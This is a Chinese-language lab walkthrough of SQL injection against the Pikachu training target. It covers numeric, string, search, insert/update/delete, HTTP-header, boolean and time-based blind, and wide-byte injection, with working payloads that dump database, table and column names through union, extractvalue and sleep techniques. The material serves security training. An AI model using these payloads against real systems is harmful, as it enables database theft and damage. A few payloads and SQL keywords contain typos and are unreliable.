介绍:
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
1. 数字型注入(post):
输入框输入1,用 hackbar 分割 url ,和传参。
我们先猜想一下查询语句原理:
$id=$_POST['id'];
select name,email from users where id=1; //大概就是将输入的id传进去
构造payload:
select name,email from users where id=1 or 1 = 1;
SQL注入成功,爆出当前的所有信息,我们继续使用联合查询爆出其他信息。
select name,email from users where id=1 or 1 = 1;
select name,email from users where id=1 union select 1,2
只发现两个字段。我们去爆库,爆表啥的。
爆出数据库名:
1 union select 1,database()
爆出所有表名:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
爆破所有字段:
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='member'
爆出字段信息:
1 union select 1,group_concat(username,email) from member
2. 字符型注入(get):
题目明确给出了是字符型的注入,则传递的参数在SQL语句中是有单引号或者双引号的。
我们猜测一下其原理:
语句皆为推测:
$id=$_GET["lucy"]
select username,email from users where id="$id"; //可能是单引号可能是双引号;
先考虑为 "
lucy"# //出现报错
考虑为 '
lucy'# //成功查询
爆库爆表等操作直接拼接即可。
3. 搜索型注入 :
这个就类似mysql的模糊查询,关键字是like。
其语法是:
selcet * from tables where columns like '%lu%'
在此题我们同样是考虑闭合和单双引号,由上题可知这个靶场的作者用的全是单引号
我们可以看到是get传参,我们开始构造原理。
$name=$_GET[name];
select name,email from users where like '%$name%';
构造闭合:
'%xxx%'#%'---->xxx%'#
我们直接遍历当前表的数据:
xxx%'or 1=1#
4.xx型注入:
不知道什么是XX型,但是我们要清楚,不管是什么类型只要能成功闭合就NB,我们去看看后端代码:
=('')
这种形式挺好构造闭合的
=('') or 1=1#') --->') or 1=1# //很简单
遍历数据:
5."insert/update"注入:
insert/update 再结合靶场,很明显这里是通过SQL语句的插入或者修改来存放数据。
也就是 mysql 的 插入和 修改 语句。
我们可以先看一下当前数据库,来先构造 insert 语句。
insert into member (id,username,pw,sex,phonenum,address,email) values (8,'kitha',111,'boy',111111,'usa',111);
可以用 or 来构造闭合:
题目是提交5个数据
insert into member (username,pw,sex,phonenum,address,email) values ('kitha',111,'boy',111111,'usa',111);
构造爆库payload
insert into member (username,pw,sex,phonenum,address,email) values ('1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '',111,'boy',111111,'usa',111);
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
6."delete"注入:
我们随便删一个数据,再用bp抓包看一下。
可以看到这里是把 id 直接拼接到sql语句里面。
猜测sql语句:
delect from infromation where id =$id;
$id = $_GET[id];
爆库:
1 or extractvalue(1, concat(0x7e,(select database()),0x7e))
使用bp修改数据放包。get请求记得url编码。
7."http header"注入:
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。
我们先登录看看,很明显是后端对我们的客户端信息进行了获取。
我们用bp抓包,把 user-agent 修改,放包,查看回显,发现报错,可以判断这个存在SQL注入。这里可能是获取了user-agent 信息,再 insert 到数据库。我们直接构造payload。
报错注入:
1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
8. 基于boolian的盲注:
介绍:
基于boolean的盲注主要表现症状:
1.没有报错信息。
2.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)2.在正确的输入下,输入and 1=1/and 1=2发现可以判断。
经过多次测试发现:
kobe' and 1=1#
kobe' and 1=2#
第一个有正确的回显,第二个不是,则可以判断出这个存在注入。
很明显回显只有两种,且我们的语句都为真,才能出现正确的回显。我们可以利用,length(),substr(),ascii()等等,来拼接,根据回显来一个一个来判断和获取字符。(超级麻烦,建议这种直接交给工具)。
我们先来对数据库名的长度来判断。
kobe' and length(database())>6#
kobe' and length(database())>7#
这里就可以判断出数据库的长度为7。
我们再对第一个字符进行判断。
kobe' and ascii(substr(database(),1,1))=112# //ascii表 112对应p
这里就可以判断出数据库的第一个字符为p,以此类推可以判断出所有的字符。
9. 基于时间的盲注:
介绍:
如果说基于boolean的盲注在页面上还可以看到0 or 1的回显的话那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是"时间",通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload: 1 and sleep(5)#
这里不管输入啥,回显都是一样的。
我们输入 kebo' sleep(5)# 页面会加载5秒才会回显 说明存在时间注入。
kobe' sleep(5)#
我们再构造payload来取数据库名的第一个字符,输入以下payload,页面加载5秒才会显说明 if 的判断为真。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
可以判断出,当前数据库名的第一个字符为p。
10. wide byte注入:
介绍:
php和mysql默认的字符集不同。
宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠"\",变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv('utf-8','gbk',$_GET['id']),也可能导致注入产生。
' ---> \'
%27 ---> %5c%27
%df%5c%27 --->%df%5c(被当成汉字)%27
由上,我们构造 payload:
kobe%df' or 1=1#